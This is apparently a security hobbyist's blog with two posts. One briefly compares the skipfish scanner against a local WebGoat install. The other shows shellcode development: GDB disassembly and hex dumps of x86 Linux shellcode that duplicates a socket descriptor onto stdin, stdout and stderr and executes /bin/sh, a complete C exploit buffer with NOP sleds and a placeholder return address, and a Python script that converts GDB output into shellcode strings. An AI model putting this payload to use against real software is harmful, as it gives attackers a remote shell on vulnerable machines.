Skipfish versus WebGoat

I just had the time to play around with skipfish and WebGoat. Both projects are actually awesome. Not only because they try to solve an important problem and are free, but also because it is very easy to get started. It is really just a matter of downloading, unpacking and running.

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons” and tries to make it easy to teach and learn WebSec. It includes various lessons that the user has to take by solving a hackme. Of course, the usual suspects like XSS, SQLi or CSRF are covered. But they also ship AJAX, concurrency or HTTP problems.

As I read about skipfish over the last weeks, I was actually looking for a standard webapp that security assessment tools could run against so that the tools could be compared. I thought no such thing existed and was delighted to see WebGoat.

Installing and running WebGoat is very easy because it comes in a self contained bundle that works out of the box (for me at least ;-) ). As far as I can see, it also seems to work pretty well. However, there’s lots of room for improvement. They could equip the “Show Code” function with a source code highlighter, get rid of all the unnecessary JavaScript to make it work even if no JavaScript is turned on, double check their lessons whether they actually work (Hints in Prepared Statement SQLi are useless) or even dwell down on technical details during explanation of lessons. Or at least point to some good explanation. I know, these are ambitious goals, but eventually someone with a big pile of money comes around and badly needs to spend it ;-)

Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes” and the further description sounds promising. So I gave it a try and again, it was as easy as downloading, unpacking, making and running.

I then ran it against the site to see how much it’ll get:

./skipfish -W dictionaries/complete.wl -A guest:guest -o /tmp/sf-results-simple-sqli-full 'http://127.0.0.1:8080/webgoat/attack?Screen=75&menu=1200'

It produces a self contained (read: 30MB) webpage which is actually nice to browse. The results, however, were not too exciting. It didn’t actually find any serious issue which I thought was interesting, given that WebGoat is deliberately insecure. I’ve uploaded the results and invite you to browse them :)

Convert GDB output to C-style shellcode

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>:    push   %ebp
0x08048255 <function+1>:    mov    %esp,%ebp
0x08048257 <function+3>:    pop    %ebp
0x08048258 <function+4>:    jmp    0x8048268 <begin>
0x0804825a <function+6>:    inc    %ecx
0x0804825b <function+7>:    inc    %ecx
0x0804825c <function+8>:    inc    %ecx
0x0804825d <function+9>:    inc    %ecx
0x0804825e <function+10>:    jmp    0x80482b3 <bottom>
0x08048260 <function+12>:    pop    %esi
0x08048261 <function+13>:    mov    %esi,%esp
0x08048263 <function+15>:    sub    $0x78,%esp
0x08048266 <function+18>:    xor    %edi,%edi
0x08048268 <begin+0>:    mov    %edi,%eax
0x0804826a <begin+2>:    inc    %eax
0x0804826b <begin+3>:    inc    %eax
0x0804826c <begin+4>:    int    $0x80
0x0804826e <begin+6>:    test   %eax,%eax
0x08048270 <begin+8>:    je     0x8048288 <child>
0x08048272 <parent+0>:    mov    %edi,%eax
0x08048274 <parent+2>:    mov    $0xa2,%al
0x08048276 <parent+4>:    push   $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>:    push   $0x11111111
0x08048280 <parent+14>:    mov    %esp,%ebx
0x08048282 <parent+16>:    mov    %edi,%ecx
0x08048284 <parent+18>:    int    $0x80
0x08048286 <parent+20>:    jmp    0x8048272 <parent>
0x08048288 <child+0>:    mov    -0x204(%esi),%ebx
0x0804828e <child+6>:    mov    %edi,%ecx
0x08048290 <child+8>:    mov    $0x3f,%al
0x08048292 <child+10>:    int    $0x80
0x08048294 <child+12>:    inc    %ecx
0x08048295 <child+13>:    mov    %edi,%eax
0x08048297 <child+15>:    mov    $0x3f,%al
0x08048299 <child+17>:    int    $0x80
0x0804829b <child+19>:    inc    %ecx
0x0804829c <child+20>:    mov    %edi,%eax
0x0804829e <child+22>:    mov    $0x3f,%al
0x080482a0 <child+24>:    int    $0x80
0x080482a2 <execshell+0>:    mov    %edi,%eax
0x080482a4 <execshell+2>:    mov    %al,0x7(%esi)
0x080482a7 <execshell+5>:    push   %eax
0x080482a8 <execshell+6>:    push   %esi
0x080482a9 <execshell+7>:    mov    %edi,%edx
0x080482ab <execshell+9>:    mov    %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>:    mov    %esi,%ebx
0x080482af <execshell+13>:    mov    $0xb,%al
0x080482b1 <execshell+15>:    int    $0x80
0x080482b3 <bottom+0>:    call   0x8048260 <function+12>
0x080482b8 <bottom+5>:    das
0x080482b9 <bottom+6>:    bound  %ebp,0x6e(%ecx)
0x080482bc <bottom+9>:    das
0x080482bd <bottom+10>:    jae    0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>:    inc    %ecx
0x080482c0 <bottom+13>:    ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78
0x8048266 <function+18>:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80
0x804826e <begin+6>:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2
0x8048276 <parent+4>:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11
0x804827e <parent+12>:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80
0x8048286 <parent+20>:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff
0x804828e <child+6>:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89
0x8048296 <child+14>:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8
0x804829e <child+22>:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46
0x80482a6 <execshell+4>:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89
0x80482ae <execshell+12>:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff
0x80482b6 <bottom+3>:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type <return> to continue, or q <return> to quit---
0x73
0x80482be <bottom+11>:    0x68    0x41
(gdb) Quit

And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
 
paginator  = '''---Type  to continue, or q  to quit---'''
 
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
 
if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.